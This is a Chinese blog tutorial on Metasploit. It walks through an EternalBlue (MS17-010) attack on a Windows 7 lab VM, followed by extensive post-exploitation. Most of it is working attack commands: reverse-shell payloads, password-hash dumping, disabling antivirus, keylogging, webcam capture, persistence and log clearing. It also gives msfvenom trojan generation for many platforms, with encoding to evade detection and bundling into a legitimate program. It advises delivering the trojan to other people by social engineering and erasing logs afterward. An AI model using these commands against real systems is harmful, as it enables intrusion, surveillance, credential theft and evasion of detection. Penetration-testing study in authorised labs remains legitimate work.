赞
踩
目录
4.2 Metasploit中的 Payload 模块主要有以下三种类型
6.2 利用`Auxiliary辅助探测模块`对漏洞进行探测
实验环境 | |
靶机 | windows7企业版虚拟机:192.168.230.129(IP地址) |
攻击机 | kali虚拟机:192.168.230.130 |
+=+
Metasploit Framework(MSF)
是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
以下是在非kali的linux系统下安装MSF框架的方法,kali中的默认存在此工具的
- #一键安装MSF:
- curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstalladduser msf #添加msf用户
- su msf #切换到msf用户
- cd /opt/metasploit-framework/bin #切换到msf所在的目录
- ./msfconsole #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库 #也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了:
- ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole#备注:
- #初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。 # 非kali环境下更新升级MSF:
- msfupdate # MSF后期的升级
- # kali环境下更新升级MSF:
- apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
- apt upgrade # 更新已安装的软件包,不删除旧包;
- apt full-upgrade # 升级包,删除旧包
- 命令:
-
- msfupdate #MSF后期更新升级
- apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
- apt upgrade # 更新已安装的软件包,不删除旧包;
- apt full-upgrade # 升级包,删除旧包
- msfconsole #第一步进入框架
- search ms17_010 #第二步使用search命令查找漏洞ms17_010(永恒之蓝)
- use exploit/windows/smb/ms17_010_eternalblue #第三步使用use进入模块
- info #第四步使用info查看模块信息
- set payload windows/x64/meterpreter/reverse_tcp #第五步设置攻击载荷
- show options #第七步查看模块需要配置的参数
- set RHOST 192.168.230.129 #第八步设置参数
- run #第九步攻击
可以将此命令写入.rc文件中然后运行msfconsole -r configure.rc进行自动攻击!
可以参考 安全小菜鸟up的文章https://blog.csdn.net/weixin_43806577/article/details/100086592https://blog.csdn.net/weixin_43806577/article/details/100086592
我们常说的exp,可以理解为对漏洞进行攻击的代码集文件,可以在
/usr/share/metasploit-framework/modules/exploits
路径中看到针对不同平台的exploit(如下图所示)
我们进入windows平台看一下
我们进入smb服务,本文章核心操作的漏洞“永恒之蓝”即在其中,因为metasploit(漏洞检测工具)是用Ruby语言编写的,所以漏洞利用代码通常是以.rb结尾的文件。
Payload
:Payload
中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。小偷(payload)用撬棍(漏洞)撬开了门(端口)进到了家里(目标系统),你用电话告诉小偷说,把马桶刷了(利用命令控制目标系统)。(个人理解)
Shellcode
:Shellcode
是payload
中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode
通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode
这一组指令之后,才会提供一个命令行shell
。
/usr/share/metasploit-framework/modules/payloads
Single(小偷)
:
是一种完全独立
的Payload
,而且使用起来就像运行calc.exe
一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload
是完全独立的,因此它们有可能会被类似netcat
这样的非metasploit
处理工具所捕捉到。Stager(小偷和他的手机)
:
这种Payload
负责建立目标用户与攻击者之间的网络连接
,并下载额外的组件或应用程序。一种常见的Stager Payload
就是reverse_tcp
,它可以让目标系统与攻击者建立一条
tcp
连接
,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp
,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)
。Stage
:
是Stager Payload
下的一种Payload组件
,这种Payload可以提供更加高级的功能,而且没有大小限制。在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:
⚪Single Payload的格式为:
<target>/ <single> 如:windows/powershell_bind_tcp
⚪Stager/Stage Payload的格式为:
<target>/ <stage> / <stager> 如:windows/meterpreter/reverse_tcp
由此可看,我们此案例使用的是Stager/Stage Payload格式
当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:
注:
在这个列表中,像windows/powershell_bind_tcp
就是一个Single Payload
,它不包含Stage Payload
。
而windows/meterpreter/reverse_tcp
则由一个Stage Payload(meterpreter)
和 一个
Stager Payload(reverse_tcp)
组成。
例如 :21 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
Stager中几种常见的payload:
windows/meterpreter/bind_tcp #正向连接 windows/meterpreter/reverse_tcp #反向连接,常用 windows/meterpreter/reverse_http #通过监听80端口反向连接 windows/meterpreter/reverse_https #通过监听443端口反向连接我们此次永恒之蓝便是用的反向链接。
正向连接使用场景
:
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。反向连接使用场景
:
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。反向连接80和443端口使用场景
:
被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload(小偷)。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
会话连接——处理dll文件——Meterpreter核心代码初始化——建立加密隧道——发送请求给Metasploit服务端——Metasploit服务端配置相应客户端——Meterpreter加载扩展(加密)
☆
Meterpreter
完全驻留在内存,没有写入到磁盘。☆
Meterpreter
注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。☆ 默认情况下,
Meterpreter
的通信是加密的,所以很安全。☆ 扩展性,许多新的特征模块可以被加载。
我们在设置
payloads
时,可以将payloads
设置为:windows/meterpreter/reverse_tcp
,然后获得了meterpreter>
之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲!
永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。
1、在kali命令行里面输入命令msfconsole,进入msf框架中:
msfconsole #输入这个命令主要是进入msf渗透框架中
2.搜索MS17_010漏洞(永恒之蓝):
search ms17_010 #利用search命令,搜索漏洞相关利用模块
这里找到了四个模块,前三个是漏洞利用模块,第四个是辅助模块,主要探测主机是否存在MS17_010漏洞。
Auxiliary辅助探测模块
:
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测:
use auxiliary/scanner/smb/smb_ms17_010
2、查看此模块需要配置的信息
show options #查看这个模块需要配置的信息
yes(有必要配置的),no(非必要配置的)
3、设置要探测的远程目标:
注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
set rhosts 192.168.230.100-192.168.230.130
此处读者可根据自己实验环境的靶机IP地址自主调整(IP范围越大等待时间越长)。
4、对上面设置的ip范围内的主机进行攻击:
exploit #run也可
注:有+号的就是可能存在漏洞的主机,这里有一个主机存在漏洞(靶机)
-号是无法建立链接的主机,*号是正在扫描的进度
1、选择漏洞攻击模块,对漏洞进行利用:
use exploit/windows/smb/ms17_010_eternalblue #注意顶级目录发生变化
2、查看这个漏洞的信息(info -d 可查看更详细的模块信息):
info
漏洞信息,作者单位,可用目标,是否支持检查,基础配置,有效载荷,说明,参考文献
3、查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统:
show targets
本次靶机的系统为window7,符合模块条件,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。(小偷)
1、查看攻击载荷:
show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
2、设置攻击载荷:
set payload windows/x64/meterpreter/reverse_tcp
注:此处使用的是Metasploit中的 Payload 模块中
Stager Payload类型,常用的反向连接。
3、查看模块所需配置的参数
show options
此处显示出来了攻击模组(永恒之蓝)和攻击载荷(反向连接)的配置需求。
4、设置攻击模组和载荷的参数
set RHOST 192.168.230.129 #设置RHOST,也就是要攻击主机的ip set LHOST 192.168.230.130 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;
5、进行攻击(exploit或者run)
攻击成功,显示meterpreter(手机),实验中途win7的ip租约到期,dhcp重新分配了ip,此后靶机IP更变为192.168.230.132
运行了run
命令
之后,我们开启了一个reverse TCP监听器
来监听本地的6666
端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符meterpreter >
出现:
我们输入:shell即可切换到目标主机的windows cmd_shell里面:
shell #获取目标主机的cmd_shell权限 chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
想要从目标机器shell推出到meterpreter,我们只需要输入:exit
从
meterpreter
退出到MSF框架
:
background #把我们获得的meterpreter会话挂载到后台运行
查看前面获得的
meterpreter_shell
会话,最前面的数字是会话的id:
sessions -l #查看获得的meterpreter_shell会话列表
输入sessions [id号]即可进入相应的
meterpreter_shell
中:
输入:shell即可进入 cmd 类型的控制,再输入:powershell,即可进入 powershell 类型的控制台。
shell中的基础命令:
sysinfo #查看目标主机系统信息 run scraper #查看目标主机详细信息 run hashdump #导出密码的哈希 load kiwi #加载mimikatz ps #查看目标主机进程信息 pwd #查看目标当前目录(windows) getlwd #查看目标当前目录(Linux) search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件 download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下 upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下 getpid #查看当前Meterpreter Shell的进程PID migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上 idletime #查看主机运行时间 getuid #查看获取的当前权限 getsystem #提权,获得的当前用户是administrator才能成功 run killav #关闭杀毒软件 screenshot #截图 webcam_list #查看目标主机的摄像头 webcam_snap #拍照 webcam_stream #开视频 execute 参数 -f 可执行文件 #执行可执行程序 run getgui -u test1 -p Abc123456 #创建test1用户,密码为Abc123456 run getgui -e #开启远程桌面 keyscan_start #开启键盘记录功能 keyscan_dump #显示捕捉到的键盘记录信息 keyscan_stop #停止键盘记录功能 uictl disable keyboard #禁止目标使用键盘 uictl enable keyboard #允许目标使用键盘 uictl disable mouse #禁止目标使用鼠标 uictl enable mouse #允许目标使用鼠标 load #使用扩展库 run #使用扩展库run exploit/windows/local/persistence lhost=192.168.230.130 lport=8888 #会自动连接192.168.230.130的8888端口,缺点是容易被杀毒软件查杀 portfwd add -l 9999 -r 192.168.230.132 -p 3389 #将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址 clearev #清除日志
- Meterpreter的命令用法:
-
- Meterpreter > ?
-
- ==========================================
- 核心命令:
- ==========================================
- 命令 说明
- ------- ------------
- ? 帮助菜单
- background 把当前会话挂到后台运行
- bg background命令的别名
- bgkill 杀死后台meterpreter 脚本
- bglist 列出正在运行的后台脚本
- bgrun 执行一个meterpreter脚本作为后台线程
- channel 显示信息或控制活动频道
- close 关闭一个频道
- detach 分离Meterpreter会话(用于 http/https)
- disable_unicode_encoding 禁用 unicode 字符串的编码
- enable_unicode_encoding 启用 unicode 字符串的编码
- exit 终止 Meterpreter 会话
- get_timeouts 获取当前会话超时值
- guid 获取会话 GUID
- help 帮助菜单
- info 显示有关 Post 模块的信息
- irb 在当前会话中打开一个交互式 Ruby shell
- load 加载一个或多个 Meterpreter 扩展
- machine_id 获取连接到会话的机器的 MSF ID
- migrate 将服务器迁移到另一个进程
- pivot 管理枢轴侦听器
- pry 在当前会话上打开 Pry 调试器
- quit 终止 Meterpreter 会话
- read 从通道读取数据
- resource 运行存储在文件中的命令
- run 执行一个 Meterpreter 脚本或 Post 模块
- secure (重新)协商会话上的 TLV 数据包加密
- sessions 快速切换到另一个会话
- set_timeouts 设置当前会话超时值
- sleep 强制 Meterpreter 安静,然后重新建立会话
- ssl_verify 修改 SSL 证书验证设置
- transport 管理运输机制
- use 不推荐使用的load命令别名
- uuid 获取当前会话的 UUID
- write 将数据写入通道
-
- ==========================================
- Stdapi:文件系统命令
- ==========================================
- 命令 说明
- ------- ------------
- cat 将文件内容读到屏幕上
- cd 切换目录
- checksum 检索文件的校验和
- cp 将源复制到目标
- del 删除指定文件
- dir 列出文件(ls 的别名)
- download 下载文件或目录
- edit 编辑文件
- getlwd 打印本地工作目录
- getwd 打印工作目录
- lcd 更改本地工作目录
- lls 列出本地文件
- lpwd 打印本地工作目录
- ls 列出文件
- mkdir 制作目录
- mv 将源移动到目标
- pwd 打印工作目录
- rm 删除指定文件
- rmdir 删除目录
- search 搜索文件
- show_mount 列出所有挂载点/逻辑驱动器
- upload 上传文件或目录
-
- ==========================================
- Stdapi:网络命令
- ==========================================
- 命令 说明
- ------- ------------
- arp 显示主机 ARP 缓存
- getproxy 显示当前代理配置
- ifconfig 显示界面
- ipconfig 显示接口
- netstat 显示网络连接
- portfwd 将本地端口转发到远程服务
- resolve 解析目标上的一组主机名
- route 查看和修改路由表
-
- ==========================================
- Stdapi:系统命令
- ==========================================
- 命令 说明
- ------- ------------
- clearev 清除事件日志
- drop_token 放弃任何活动的模拟令牌。
- execute 执行命令
- getenv 获取一个或多个环境变量值
- getpid 获取当前进程标识符
- getprivs 尝试启用当前进程可用的所有权限
- getid 获取服务器运行的用户的 SID
- getuid 获取服务器运行的用户
- kill 终止进程
- localtime 显示目标系统本地日期和时间
- pgrep 按名称过滤进程
- pkill 按名称终止进程
- ps 列出正在运行的进程
- reboot 重启远程计算机
- reg 修改远程注册表并与之交互
- rev2self 在远程机器上调用 RevertToSelf()
- shell 放入系统命令 shell
- shutdown 关闭远程计算机
- steal_token 尝试从目标进程窃取模拟令牌
- suspend 暂停或恢复进程列表
- sysinfo 获取有关远程系统的信息,例如OS
-
- ==========================================
- Stdapi:用户界面命令
- ==========================================
- 命令 说明
- ------- ------------
- enumdesktops 列出所有可访问的桌面和窗口站
- getdesktop 获取当前的meterpreter桌面
- idletime 返回远程用户空闲的秒数
- keyboard_send 发送击键
- keyevent 发送按键事件
- keyscan_dump 转储击键缓冲区
- keyscan_start 开始捕获击键
- keyscan_stop 停止捕获击键
- mouse 发送鼠标事件
- screenshare 实时观看远程用户桌面
- screenshot 抓取交互式桌面的截图
- setdesktop 更改meterpreters当前桌面
- uictl 控制一些用户界面组件
-
- ==========================================
- Stdapi:网络摄像头命令:
- ==========================================
- 命令 说明
- ------- ------------
- record_mic 从默认麦克风录制音频 X 秒
- webcam_chat 开始视频聊天
- webcam_list 列出网络摄像头
- webcam_snap 从指定的网络摄像头拍摄快照
- webcam_stream 从指定的网络摄像头播放视频流
-
- ==========================================
- Stdapi:音频输出命令:
- ==========================================
- 命令 说明
- ------- ------------
- play 在目标系统上播放波形音频文件(.wav)
-
- ==========================================
- Priv:权限提升命令:
- ==========================================
- 命令 说明
- ------- ------------
- getsystem 尝试将您的权限提升到本地系统的权限。
-
- ==========================================
- Priv:密码数据库命令:
- ==========================================
- 命令 说明
- ------- ------------
- hashdump 转储 SAM 数据库的内容
-
- ==========================================
- Priv:Timestomp 命令:
- ==========================================
- 命令 说明
- ------- ------------
- timestomp 操作文件 MACE 属性meterpreter >
![](https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreBlack.png)
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
基础命令:
run post/windows/manage/migrate #自动进程迁移 run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上 run post/windows/manage/killav #关闭杀毒软件 run post/windows/manage/enable_rdp #开启远程桌面服务 run post/windows/manage/autoroute #查看路由信息 run post/windows/gather/enum_logged_on_users #列举当前登录的用户 run post/windows/gather/enum_applications #列举应用程序 run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码 run post/windows/gather/smart_hashdump #dump出所有用户的hash
在meterpreter中输入sysinfo查看目标主机的信息
查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境:
命令:.
run post/windows/gather/checkvm
此处显示是vm中的虚拟机,是正确的。
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:
run killav
此处因为靶机上没有安装杀毒软件。
耗时几分钟,请耐心等待,他可以将目标机器上常见的信息收集起来然后下载保存到本地。
使用命令:
run scraper
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:
pwd #查看当前目录 cd #切换目标目录; cat #读取文件内容; rm #删除文件; edit #使用vim编辑文件 ls #获取当前目录下的文件; mkdir #新建目录; rmdir #删除目录;
用法:download +本地机路径,下载完成后会给出下载到本地机的路径
命令:
download file #命令可以帮助我们从目标系统中下载文件
用法:upload + 本地机路径,可以提前用pwd查看目前merterpreter所在靶机的位置。
命令:
upload file #命令则能够向目标系统上传文件。
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权。
可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。当我获取最高权限的时候,显示已经是系统用户了(最高权限用户)
getuid #命令可以获取当前用户的信息 getsystem #自动提权为系统权限
请参考up Beyond My的文章MSF抓取密码_msfconsole minikze_Beyond My的博客-CSDN博客
https://blog.csdn.net/qq_42383069/article/details/123719343
先查看目标主机安装了哪些应用:
命令:
run post/windows/gather/enum_applications #查看目标主机安装了哪些应用
在meterpreter_shell命令行执行目标系统中的应用程序:
命令:
execute [参数] -f 指定的可执行文件-f:指定可执行文件 -H:创建一个隐藏进程 -a:传递给命令的参数 -i:跟进程进行交互 -m:从内存中执行 -t:使用当前伪造的线程令牌运行进程 -s:在给定会话中执行进程
截图目标主机屏幕,可以看到,图片被保存到了
/root
目录下:
命令:
screenshot #截图目标主机屏幕
先查看目标主机有哪些用户,可以看到正在登陆的用户和历史登陆的用户。
命令:
run post/windows/gather/enum_logged_on_users #查看目标主机有用户
在目标系统中创建一个新的用户账号的方法一:
命令:
run getgui -u 用户 -p 密码 -u: 指定用户 -p: 指定密码
注:这个命令创建用户失败了!
在目标系统中创建一个新的用户账号的方法二:
命令:
enable_rdp脚本: run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456 #添加用户 run post/windows/manage/enable_rdp #开启远程桌面 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入:
run post/windows/manage/enable_rdp
命令可以开启远程桌面。
1、在开启远程桌面会话之前,我们还需要使用
idletime命令
检查远程用户的空闲时长:
idletime #检查远程用户的空闲时长
两小时二十二分钟六秒
2、开启远程桌面:
命令:
run post/windows/manage/enable_rdp
然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中,所以这一步就没法演示。
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看; keyscan_dump: #显示捕捉到的键盘记录信息 keyscan_stop: #停止键盘记录功能具体操作可以参考up PT_silver 的文章
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter跟 360huabao.exe绑定,并在登录进程中捕获键盘记录,以获得用户的密码,
首先,我们需要使用:ps 命令查看目标设备中运行的进程:
我们可以使用gitpid命令查看我们当前merterpreter所占用的pid。
这里我们的思路是将merterpreter的进程藏在360huabao.exe(pid=2220)这个进程中,
如果读者大大实验的时候,出现失败可更换进程尝试,侵入某些系统进程可能会导致靶机卡机或者蓝屏,请慎重选择。
migrate + id #本文此处id为目标进程的pid
再来getpid看一眼merterpreter的pid,更改成功。
因为我虚拟机keyboard存在问题,所以只演示了禁止和允许使用鼠标,
uictl disable keyboard #禁止(允许)目标使用键盘 uictl enable keyboard #允许目标使用键盘 uictl disable mouse #禁止(允许)目标使用鼠标 uictl enable mouse #允许目标使用鼠标
webcam_list #获取目标系统的摄像头列表 webcam_snap #从指定的摄像头,拍摄照片 webcam_stream #从指定的摄像头,开启视频因为小生是台式机没有摄像头,读者大大可以参考up小白骏贤的文章
Meterpreter有很多扩展库,它们可以提供不同的功能和工具,以帮助渗透测试人员或攻击者执行各种任务,读者大大想使用哪个直接百度其用法或者私信小生也是可以的。以下是一些常用的Meterpreter扩展库:
- stdapi:提供了一些基本的操作系统交互功能,如文件系统操作、进程管理、网络服务、用户管理等。
- extapi:提供了一些扩展的操作系统交互功能,如系统信息获取、网络服务、进程注入等。
- priv:提供了一些特权提升的功能,如令牌窃取、密码哈希窃取、服务远程执行等。
- hashdump:用于从Windows系统中获取用户密码哈希的工具。
- keyscan_start:用于记录目标用户的键盘输入信息。
- screenshot:用于捕获目标系统的屏幕截图。
- webcam_snap:用于捕获目标系统的摄像头截图。
- record_mic:用于记录目标系统的麦克风输入信息。
- getsystem:用于提升Meterpreter进程的权限至系统级别。
- incognito:用于隐藏Meterpreter进程和网络连接,以躲避安全软件的检测。
- timestomp:用于修改文件的时间戳,以掩盖痕迹或逃避检测。
- services:用于管理目标系统中的服务。
- shutdown:用于关闭目标系统。
- psexec:用于在目标系统中执行命令或脚本。
- dllinject:用于将DLL注入到目标进程的内存中。
- fileedit:用于编辑目标系统中的文件。
- upload/download:用于上传或下载文件到目标系统中。
- portfwd:用于在Meterpreter和目标系统之间建立端口转发。
- routes:用于管理Meterpreter的路由表。
- clipboard:用于获取或设置目标系统的剪贴板内容。
- keylogger_start/stop:用于启动或停止键盘记录器。
- screen_capture:用于捕获目标系统的屏幕录像。
- webcam_chat:用于与目标系统进行视频聊天。
- checkvm:用于检测目标系统是否运行在虚拟机中。
- hide_window:用于隐藏Meterpreter的窗口。
- view_event_logs:用于查看目标系统的事件日志。
基础用法演示:
load/use #加载模块 load -l #列出所有可用的扩展 load -help #帮助;说明
1、输入命令:
load -l
会列出所有可用的扩展:
2、输入
load
后,双击Tab键
列出可用扩展(不用打回车):
run+双击Tab键
,会列出所有的已有的脚本(不用打回车):
run #执行一个已有的模块 #run+双击Tab键,会列出所有的已有的脚本; #常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。
1、生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.230.130 lport=9999 -f exe -o test.exe #lhost是我们的主机ip,lport是我们主机的用于监听的端口 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.230.130 lport=9999 -i 3 -e x86/shikata_ga_nai -f exe -o test.exe #编码3次 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 20 lhost=192.168.230.130 lport=9999 -x qq.exe -f exe -o test.exe #编码20次、捆绑正常的32位qq.exe,生成32位的test.exe文件
2、加壳(常见加密壳和压缩壳)
upx -9 test.exe -k -o test2.exe
介绍一下其他格式的木马:
安卓app: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf Mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.macho PHP: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f asp > shell.asp ASPX: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f aspx > shell.aspx JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.jsp Bash: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f raw > shell.sh Perl msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl Python msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.py
3、运行 msfconsole 进入MSF控制台,然后输入以下命令
use exploit/multi/handler #使用exploit/multi/handler监听从肉鸡发来的数据 set payload windows/meterpreter/reverse_tcp #设置payload,不同的木马设置不同的payload set lhost 192.168.230.130 #我们的主机ip set lport 8888 #我们的主机端口 exploit
然后,将木马发送给其他人,无论使用什么手段(可以使用社会工程学)让其在其他主机上运行,我们这边就会接收到反弹过来的session。
因为我们刚刚把进程挂在后台,所以我们输入:sessions -l 可以查看到我们得到的shell,使用 sessions -i 1 可以进入指定的shell,我们这里只有一个,所以id为1。如图,我们成功拿到了其他主机的shell
完成攻击操作之后,千万别忘了"打扫战场"。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用以下命令来清除事件日志:
clearev #清除事件日志
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户:
load powershell #加载powershell功能 powershell_import /root/PowerView.ps1 #导入powershell脚本,提前将该powershell脚本放到指定目录 powershell_execute Get-NetDomain #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称; powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机; powershell_execute Get-NetForest #该模块用于定位域信息 powershell_execute Invoke-EnumerateLocalAdmin #枚举域中所有计算机上本地管理员组的成员
有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令,这时我们可以执行:load stdapi来加载,这样我们就可以执行命令了。
load stdapi
有时候,当我们收到的不是 meterpreter 类型的 session 的话,可能不好操作。我们可以执行命令 sessions -u id 来升级session。执行该命令,默认调用的是post/multi/manage/shell_to_meterpreter 模块。
session -u 1
本篇文章部分参考了up剑客 getshell的文章,侵可删。
【工具使用】——Metasploit(MSF)使用详解(超详细)_剑客 getshell的博客-CSDN博客https://blog.csdn.net/weixin_45588247/article/details/119614618?ops_request_misc=&request_id=&biz_id=102&utm_term=Metasploit(MSF)%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-119614618.142^v94^control&spm=1018.2226.3001.4187 在模拟的同时,发现某些细节有点缺失,进行了一部分补充的同时自己有了一些新的发现和感悟,同时向up:剑客 getshell、安全小菜鸟、Beyond My、PT_silver、小白骏贤致谢。
读者大大如果在阅读的时候发现问题,可以私信,在线秒回。同时也欢迎各位大佬指正文章纰漏之处。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。